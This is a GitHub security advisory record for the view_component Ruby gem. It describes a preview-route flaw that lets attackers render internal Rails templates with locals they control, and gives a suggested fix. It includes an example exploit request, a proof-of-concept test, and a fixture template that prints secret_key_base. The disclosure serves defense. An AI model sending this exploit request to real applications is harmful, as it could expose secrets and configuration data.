{"id":"GHSA-7f3r-gwc9-2995","summary":"view_component: Preview Route Can Dispatch Inherited Helper Methods","details":"### Summary\n\nThe preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.\n\nAs a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`.\n\nIf previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.\n\nSeverity: High if preview routes are externally reachable; Medium otherwise.\n\nAffected files:\n\n- `lib/view_component/preview.rb`\n- `app/controllers/concerns/view_component/preview_actions.rb`\n- `app/views/view_components/preview.html.erb`\n\n\n### Relevant Code\n\n`app/controllers/concerns/view_component/preview_actions.rb`:\n\n```ruby\n@example_name = File.basename(params[:path])\n@render_args = @preview.render_args(@example_name, params: params.permit!)\n```\n\n`lib/view_component/preview.rb`:\n\n```ruby\nexample_params_names = instance_method(example).parameters.map(&:last)\nprovided_params = params.slice(*example_params_names).to_h.symbolize_keys\nresult = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n```\n\n`app/views/view_components/preview.html.erb`:\n\n```erb\n\u003c%= render template: @render_args[:template], locals: @render_args[:locals] || {} %\u003e\n```\n\nThe UI only lists direct preview methods via:\n\n```ruby\npublic_instance_methods(false).map(&:to_s).sort\n```\n\nBut `render_args` does not enforce that list before dispatching.\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request\n```\n\nFlow:\n\n1. `my_component` resolves to a valid preview.\n2. `File.basename(params[:path])` returns `render_with_template`.\n3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`.\n4. Request params provide `template: \"internal/secret\"` and `locals: {...}`.\n5. The preview view renders `internal/secret` with attacker-controlled locals.\n\nImpact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.\n\n### PoC Test\n\nThis checkout already contains a PoC at:\n\n- `test/sandbox/test/security_preview_template_poc_test.rb`\n- `test/sandbox/app/views/internal/secret.html.erb`\n\nThe test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`.\n\nIf reproducing manually, run:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb\n```\n\nEquivalent standalone test:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\n\nclass SecurityPreviewTemplatePocTest \u003c ActionDispatch::IntegrationTest\n  def setup\n    ViewComponent::Preview.__vc_load_previews\n  end\n\n  def test_preview_route_can_invoke_inherited_render_with_template\n    refute_includes MyComponentPreview.examples, \"render_with_template\"\n\n    assert_raises(ActionController::RoutingError) do\n      Rails.application.routes.recognize_path(\"/internal/secret\")\n    end\n\n    get(\n      \"/rails/view_components/my_component/render_with_template\",\n      params: {\n        template: \"internal/secret\",\n        locals: {poc_local: \"attacker-controlled-local\"},\n        request_marker: \"attacker-controlled-request\"\n      }\n    )\n\n    assert_response :success\n    assert_includes response.body, \"VC_PREVIEW_POC_SECRET=foo\"\n    assert_includes response.body, \"VC_PREVIEW_POC_LOCAL=attacker-controlled-local\"\n    assert_includes response.body, \"VC_PREVIEW_POC_REQUEST=attacker-controlled-request\"\n  end\nend\n```\n\nFixture template:\n\n```erb\n\u003cdiv id=\"poc-secret\"\u003eVC_PREVIEW_POC_SECRET=\u003c%= Rails.application.secret_key_base %\u003e\u003c/div\u003e\n\u003cdiv id=\"poc-local\"\u003eVC_PREVIEW_POC_LOCAL=\u003c%= local_assigns[:poc_local] || local_assigns[\"poc_local\"] %\u003e\u003c/div\u003e\n\u003cdiv id=\"poc-request\"\u003eVC_PREVIEW_POC_REQUEST=\u003c%= params[:request_marker] %\u003e\u003c/div\u003e\n```\n\n### Suggested Fix\n\nOnly dispatch explicitly declared preview examples:\n\n```ruby\ndef render_args(example, params: {})\n  example = example.to_s\n  raise AbstractController::ActionNotFound unless examples.include?(example)\n\n  example_params_names = instance_method(example).parameters.map(&:last)\n  provided_params = params.slice(*example_params_names).to_h.symbolize_keys\n  result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n  result ||= {}\n  result[:template] = preview_example_template_path(example) if result[:template].nil?\n  @layout = nil unless defined?(@layout)\n  result.merge(layout: @layout)\nend\n```\n\nAdd a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.","aliases":["CVE-2026-44836"],"modified":"2026-09-10T03:50:45.954875540Z","published":"2026-05-08T23:33:14Z","database_specific":{"github_reviewed_at":"2026-05-08T23:33:14Z","nvd_published_at":"2026-05-26T21:16:38Z","cwe_ids":["CWE-277","CWE-749"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/ViewComponent/view_component/security/advisories/GHSA-7f3r-gwc9-2995"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44836"},{"type":"PACKAGE","url":"https://github.com/ViewComponent/view_component"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-44836.yml"}],"affected":[{"package":{"name":"view_component","ecosystem":"RubyGems","purl":"pkg:gem/view_component"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"4.9.0"}]}],"versions":["3.0.0","3.1.0","3.10.0","3.11.0","3.12.0","3.12.1","3.13.0","3.14.0","3.15.0","3.15.1","3.16.0","3.17.0","3.18.0","3.19.0","3.2.0","3.20.0","3.21.0","3.22.0","3.23.0","3.23.1","3.23.2","3.24.0","3.25.0","3.26.0","3.27.0","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.8.0","3.9.0","4.0.0","4.0.0.alpha1","4.0.0.alpha2","4.0.0.alpha3","4.0.0.alpha4","4.0.0.alpha5","4.0.0.alpha6","4.0.0.alpha7","4.0.0.rc1","4.0.0.rc2","4.0.0.rc3","4.0.0.rc4","4.0.0.rc5","4.0.1","4.0.2","4.1.0","4.1.1","4.2.0","4.3.0","4.4.0","4.5.0","4.6.0","4.7.0","4.8.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7f3r-gwc9-2995/GHSA-7f3r-gwc9-2995.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}]}